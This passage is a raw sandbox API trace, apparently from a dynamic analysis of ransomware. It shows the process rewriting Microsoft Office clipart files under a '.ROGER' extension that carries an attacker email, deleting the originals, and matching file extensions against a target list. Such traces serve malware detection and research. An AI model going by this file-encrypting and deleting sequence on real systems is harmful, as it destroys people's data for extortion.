dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0058.485] GetLastError () returned 0x0 [0058.485] ReadFile (in: hFile=0x3f8, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x19ec, lpOverlapped=0x0) returned 1 [0058.489] WriteFile (in: hFile=0x410, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x19f0, lpOverlapped=0x0) returned 1 [0058.490] ReadFile (in: hFile=0x3f8, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0058.490] WriteFile (in: hFile=0x410, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.490] SetEndOfFile (hFile=0x410) returned 1 [0058.490] CloseHandle (hObject=0x410) returned 1 [0058.490] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.490] SetEndOfFile (hFile=0x3f8) returned 1 [0058.491] CloseHandle (hObject=0x3f8) returned 1 [0058.491] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0058.491] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf")) returned 1 [0058.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0058.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0058.491] lstrlenW (lpString=".doc") returned 4 [0058.491] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.491] lstrlenW (lpString=".docx") returned 5 [0058.491] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.491] lstrlenW (lpString=".pdf") returned 4 [0058.491] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.491] lstrlenW (lpString=".xls") returned 4 [0058.492] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.492] lstrlenW (lpString=".xlsx") returned 5 [0058.492] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.492] lstrlenW (lpString=".ppt") returned 4 [0058.492] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0058.492] lstrlenW (lpString=".zip") returned 4 [0058.492] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.492] lstrlenW (lpString=".rar") returned 4 [0058.492] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.492] lstrlenW (lpString=".bz2") returned 4 [0058.492] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.492] lstrlenW (lpString=".7z") returned 3 [0058.492] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0058.492] lstrlenW (lpString=".dbf") returned 4 [0058.492] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0058.492] lstrlenW (lpString=".1cd") returned 4 [0058.492] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0058.492] lstrlenW (lpString=".jpg") returned 4 [0058.492] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0058.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0058.492] lstrlenW (lpString=".doc") returned 4 [0058.492] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.492] lstrlenW (lpString=".docx") returned 5 [0058.492] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.492] lstrlenW (lpString=".pdf") returned 4 [0058.492] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.492] lstrlenW (lpString=".xls") returned 4 [0058.492] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.492] lstrlenW (lpString=".xlsx") returned 5 [0058.492] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.493] lstrlenW (lpString=".ppt") returned 4 [0058.493] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0058.493] lstrlenW (lpString=".zip") returned 4 [0058.493] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.493] lstrlenW (lpString=".rar") returned 4 [0058.493] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.493] lstrlenW (lpString=".bz2") returned 4 [0058.493] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.493] lstrlenW (lpString=".7z") returned 3 [0058.493] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0058.493] lstrlenW (lpString=".dbf") returned 4 [0058.493] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0058.493] lstrlenW (lpString=".1cd") returned 4 [0058.493] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0058.493] lstrlenW (lpString=".jpg") returned 4 [0058.493] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.493] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0058.493] lstrlenW (lpString="AN04195_.WMF") returned 12 [0058.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0058.493] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=4612) returned 1 [0058.494] CloseHandle (hObject=0x3f8) returned 1 [0058.494] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf")) returned 0x20 [0058.494] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0058.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0058.494] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.494] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0058.494] GetLastError () returned 0x0 [0058.494] ReadFile (in: hFile=0x3f8, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x1204, lpOverlapped=0x0) returned 1 [0058.497] WriteFile (in: hFile=0x410, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x1210, lpOverlapped=0x0) returned 1 [0058.498] ReadFile (in: hFile=0x3f8, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0058.498] WriteFile (in: hFile=0x410, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.498] SetEndOfFile (hFile=0x410) returned 1 [0058.498] CloseHandle (hObject=0x410) returned 1 [0058.499] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.499] SetEndOfFile (hFile=0x3f8) returned 1 [0058.499] CloseHandle (hObject=0x3f8) returned 1 [0058.499] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0058.500] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf")) returned 1 [0058.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0058.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0058.500] lstrlenW (lpString=".doc") returned 4 [0058.500] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.500] lstrlenW (lpString=".docx") returned 5 [0058.500] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.500] lstrlenW (lpString=".pdf") returned 4 [0058.500] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.500] lstrlenW (lpString=".xls") returned 4 [0058.500] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.500] lstrlenW (lpString=".xlsx") returned 5 [0058.500] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.500] lstrlenW (lpString=".ppt") returned 4 [0058.500] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0058.500] lstrlenW (lpString=".zip") returned 4 [0058.500] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.500] lstrlenW (lpString=".rar") returned 4 [0058.500] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.500] lstrlenW (lpString=".bz2") returned 4 [0058.500] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.500] lstrlenW (lpString=".7z") returned 3 [0058.500] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0058.500] lstrlenW (lpString=".dbf") returned 4 [0058.500] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0058.501] lstrlenW (lpString=".1cd") returned 4 [0058.501] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0058.501] lstrlenW (lpString=".jpg") returned 4 [0058.501] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0058.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0058.501] lstrlenW (lpString=".doc") returned 4 [0058.501] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.501] lstrlenW (lpString=".docx") returned 5 [0058.501] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.501] lstrlenW (lpString=".pdf") returned 4 [0058.501] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.501] lstrlenW (lpString=".xls") returned 4 [0058.501] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.501] lstrlenW (lpString=".xlsx") returned 5 [0058.501] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.501] lstrlenW (lpString=".ppt") returned 4 [0058.501] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0058.501] lstrlenW (lpString=".zip") returned 4 [0058.501] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.501] lstrlenW (lpString=".rar") returned 4 [0058.501] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.501] lstrlenW (lpString=".bz2") returned 4 [0058.501] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.501] lstrlenW (lpString=".7z") returned 3 [0058.501] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0058.501] lstrlenW (lpString=".dbf") returned 4 [0058.501] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0058.501] lstrlenW (lpString=".1cd") returned 4 [0058.501] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0058.502] lstrlenW (lpString=".jpg") returned 4 [0058.502] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.502] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0058.502] lstrlenW (lpString="AN04196_.WMF") returned 12 [0058.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0058.502] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=3144) returned 1 [0058.502] CloseHandle (hObject=0x3f8) returned 1 [0058.502] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf")) returned 0x20 [0058.502] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0058.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0058.502] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.502] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0058.503] GetLastError () returned 0x0 [0058.503] ReadFile (in: hFile=0x3f8, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0xc48, lpOverlapped=0x0) returned 1 [0058.700] WriteFile (in: hFile=0x410, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xc50, lpOverlapped=0x0) returned 1 [0058.701] ReadFile (in: hFile=0x3f8, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0058.701] WriteFile (in: hFile=0x410, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.701] SetEndOfFile (hFile=0x410) returned 1 [0059.592] CloseHandle (hObject=0x410) returned 1 [0059.592] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0059.592] SetEndOfFile (hFile=0x3f8) returned 1 [0059.593] CloseHandle (hObject=0x3f8) returned 1 [0059.593] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0059.593] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf")) returned 1 [0059.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0059.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0059.594] lstrlenW (lpString=".doc") returned 4 [0059.594] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.594] lstrlenW (lpString=".docx") returned 5 [0059.594] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.594] lstrlenW (lpString=".pdf") returned 4 [0059.594] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.594] lstrlenW (lpString=".xls") returned 4 [0059.594] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.594] lstrlenW (lpString=".xlsx") returned 5 [0059.594] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.594] lstrlenW (lpString=".ppt") returned 4 [0059.594] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0059.594] lstrlenW (lpString=".zip") returned 4 [0059.594] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.594] lstrlenW (lpString=".rar") returned 4 [0059.594] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.594] lstrlenW (lpString=".bz2") returned 4 [0059.594] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.594] lstrlenW (lpString=".7z") returned 3 [0059.594] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0059.594] lstrlenW (lpString=".dbf") returned 4 [0059.594] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0059.594] lstrlenW (lpString=".1cd") returned 4 [0059.594] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0059.595] lstrlenW (lpString=".jpg") returned 4 [0059.595] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0059.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0059.595] lstrlenW (lpString=".doc") returned 4 [0059.595] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.595] lstrlenW (lpString=".docx") returned 5 [0059.595] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.595] lstrlenW (lpString=".pdf") returned 4 [0059.595] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.595] lstrlenW (lpString=".xls") returned 4 [0059.595] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.595] lstrlenW (lpString=".xlsx") returned 5 [0059.595] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.595] lstrlenW (lpString=".ppt") returned 4 [0059.595] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0059.595] lstrlenW (lpString=".zip") returned 4 [0059.595] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.595] lstrlenW (lpString=".rar") returned 4 [0059.595] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.595] lstrlenW (lpString=".bz2") returned 4 [0059.595] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.595] lstrlenW (lpString=".7z") returned 3 [0059.595] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0059.595] lstrlenW (lpString=".dbf") returned 4 [0059.595] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0059.595] lstrlenW (lpString=".1cd") returned 4 [0059.595] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0059.595] lstrlenW (lpString=".jpg") returned 4 [0059.595] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.596] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0059.596] lstrlenW (lpString="AN04225_.WMF") returned 12 [0059.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0059.596] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=8492) returned 1 [0059.596] CloseHandle (hObject=0x3f8) returned 1 [0059.596] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf")) returned 0x20 [0059.596] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0059.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0059.597] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0059.597] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0059.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0059.597] GetLastError () returned 0x0 [0059.597] ReadFile (in: hFile=0x3f8, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, 